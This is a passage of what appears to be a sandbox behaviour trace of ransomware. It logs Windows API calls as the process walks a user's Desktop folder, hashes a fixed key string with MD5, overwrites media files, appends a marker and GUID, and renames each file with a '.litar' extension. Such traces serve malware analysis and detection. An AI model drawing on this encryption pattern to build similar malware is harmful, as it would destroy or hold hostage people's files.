pdwDataLen=0x398fa98) returned 1 [0126.454] GetLastError () returned 0x0 [0126.454] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.454] CryptReleaseContext (hProv=0x6a0410, dwFlags=0x0) returned 1 [0126.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x9090) returned 0x30fa0b0 [0126.455] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.455] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x9082, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x9082, lpOverlapped=0x0) returned 1 [0126.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.455] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9087, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.455] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.455] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.455] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.455] CloseHandle (hObject=0x624) returned 1 [0126.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.456] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\SGPp8BH7eiOdE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\sgpp8bh7eiode.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\SGPp8BH7eiOdE.mp3.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\sgpp8bh7eiode.mp3.litar")) returned 1 [0126.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.457] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.458] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.458] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac1a670, ftCreationTime.dwHighDateTime=0x1d4c5de, ftLastAccessTime.dwLowDateTime=0x6cedc840, ftLastAccessTime.dwHighDateTime=0x1d4d4ec, ftLastWriteTime.dwLowDateTime=0x6cedc840, ftLastWriteTime.dwHighDateTime=0x1d4d4ec, nFileSizeHigh=0x0, nFileSizeLow=0x73f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="u5VpH1Gfjec38H3.jpg", cAlternateFileName="U5VPH1~1.JPG")) returned 1 [0126.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.458] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.458] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\u5VpH1Gfjec38H3.jpg") returned=".jpg" [0126.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\u5VpH1Gfjec38H3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\u5vph1gfjec38h3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.460] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=29680) returned 1 [0126.460] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.461] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x73ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.461] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.463] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.463] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x73f0, lpOverlapped=0x0) returned 1 [0126.463] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.463] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.463] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.463] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0410) returned 1 [0126.464] CryptCreateHash (in: hProv=0x6a0410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.464] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.464] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.464] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.464] GetLastError () returned 0x0 [0126.464] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.464] CryptReleaseContext (hProv=0x6a0410, dwFlags=0x0) returned 1 [0126.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x73f0) returned 0x30fa0b0 [0126.465] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.465] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x73eb, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x73eb, lpOverlapped=0x0) returned 1 [0126.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.465] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x73f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.465] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.465] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.465] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.465] CloseHandle (hObject=0x624) returned 1 [0126.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0126.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.466] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\u5VpH1Gfjec38H3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\u5vph1gfjec38h3.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\u5VpH1Gfjec38H3.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\u5vph1gfjec38h3.jpg.litar")) returned 1 [0126.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.467] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.468] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db14350, ftCreationTime.dwHighDateTime=0x1d4c816, ftLastAccessTime.dwLowDateTime=0xb0824420, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0xb0824420, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x14918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wCHfAt0k5.wav", cAlternateFileName="WCHFAT~1.WAV")) returned 1 [0126.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.468] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\wCHfAt0k5.wav") returned=".wav" [0126.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\wCHfAt0k5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\wchfat0k5.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.471] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=84248) returned 1 [0126.471] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.473] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x148f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.473] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.474] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.474] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x14918, lpOverlapped=0x0) returned 1 [0126.475] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.475] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.475] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.475] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0410) returned 1 [0126.476] CryptCreateHash (in: hProv=0x6a0410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.476] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.476] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.476] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.476] GetLastError () returned 0x0 [0126.476] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.476] CryptReleaseContext (hProv=0x6a0410, dwFlags=0x0) returned 1 [0126.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14920) returned 0x30fa0b0 [0126.476] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.477] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x14913, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x14913, lpOverlapped=0x0) returned 1 [0126.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.477] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14918, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.477] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.477] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.477] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.477] CloseHandle (hObject=0x624) returned 1 [0126.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0126.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.479] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0126.479] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\wCHfAt0k5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\wchfat0k5.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\wCHfAt0k5.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\wchfat0k5.wav.litar")) returned 1 [0126.479] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.479] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.480] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.480] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db14350, ftCreationTime.dwHighDateTime=0x1d4c816, ftLastAccessTime.dwLowDateTime=0xb0824420, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0xb0824420, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x14918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wCHfAt0k5.wav", cAlternateFileName="WCHFAT~1.WAV")) returned 0 [0126.480] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.480] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.480] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.480] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.480] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2fa1a10 [0126.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.480] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.480] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fa1a10 | out: hHeap=0x5c0000) returned 1 [0126.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2fa1a10 [0126.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fa1a10 | out: hHeap=0x5c0000) returned 1 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 